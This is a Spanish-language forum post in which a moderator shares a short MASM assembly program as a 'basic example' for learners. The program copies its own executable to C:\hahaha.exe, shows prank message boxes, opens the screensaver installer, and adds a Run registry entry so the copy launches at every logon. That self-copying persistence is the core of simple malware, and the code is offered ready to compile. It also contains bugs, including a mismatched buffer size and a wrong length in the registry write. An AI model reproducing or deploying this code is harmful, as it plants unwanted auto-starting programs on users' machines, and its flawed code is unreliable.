• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

ASM Ejemplo basico/Basic example(MASM)

Status
Not open for further replies.

top10

Moderator
User
Joined
Mar 18, 2015
Messages
487
Reputation
0
Reaction score
5,047
Points
243
Credits
0
‎10 Years of Service‎
70%
Bueno pues hace poco llevo con esto del asm y vi un codigo por internet que aunque es casi todo apis es bastante simple e intutitivo,lo modifique para que compile sin problemas y comente los procedimientos,espero que a alguien le resulte util,el ejecutable solo pesa 2kb!!!

Saludos.

[LENGUAJE=ASM].386

.model flat,stdcall

option casemap:none

;Declaramos las librerias/Declare librarires

include \masm32\include\windows.inc

include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib

include \masm32\include\user32.inc

includelib \masm32\lib\user32.lib

includelib \masm32\lib\advapi32.lib

include \masm32\include\advapi32.inc

includelib \masm32\lib\shell32.lib

include \masm32\include\shell32.inc

;Declaramos los datos/Declare Data

.data

torun db 100 dup(0)

dest db "C:\hahaha.exe",0

open db "open",0

rundll32 db "rundll32.exe",0

InstallSS db "desk.cpl,InstallScreenSaver ",0

szREGSZ db 'REG_SZ',0

szTestKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0

key db "Hello",0

szmine db "Let's go shopping!!!",0

szmyname db "ScreenFileName",0

hkey dd ?

dayt dd ?

lpdwDisp dd ?

;Empieza el programa/start program

.code

start:

;ruta actual del ejecutable/current exe path

invoke GetModuleFileName,0,offset torun,256

;se copia a si mismo a "C:\hahaha.exe"/copy itself to "C:\hahaha.exe"

invoke CopyFile,addr torun,addr dest,FALSE

;mensaje con mensaje "Hello" y titulo "Let's go shopping!!!"/msgbox with messaje "Hello" and title "Let's go shopping!!!"

invoke MessageBox,0,addr key,addr szmine,MB_OK

;mensaje con mensaje ruta actual del ejecutable y titulo "C:\hahaha.exe"/msgbox with messaje current exe path and title "C:\hahaha.exe"

invoke MessageBox,0,addr torun,addr dest,MB_OK

;ejecuta configuracion del protector de pantalla/execute screensaver settings

invoke ShellExecuteA,0,offset open,offset rundll32,offset InstallSS,0,1

;crea registro en Software\Microsoft\Windows\CurrentVersion\Run/create registry in Software\Microsoft\Windows\CurrentVersion\Run

invoke RegCreateKeyEx,HKEY_CURRENT_USER,addr szTestKey,0,addr szREGSZ,0,KEY_WRITE,0,addr hkey,addr lpdwDisp

INVOKE lstrlen, addr szmine

mov dayt, eax

;crea la entrada o clave en el registro con nombre "ScreenFileName" y valor "C:\hahaha.exe"/create the entry or key in the registry with the name "ScreenFileName" with the value "C:\hahaha.exe"

INVOKE RegSetValueEx, hkey, addr szmyname, 0, REG_SZ, addr dest, dayt

INVOKE RegCloseKey, hkey

invoke ExitProcess,0 ;sale del proceso/exit process

end start[/LENGUAJE]

 
Status
Not open for further replies.
Back
Top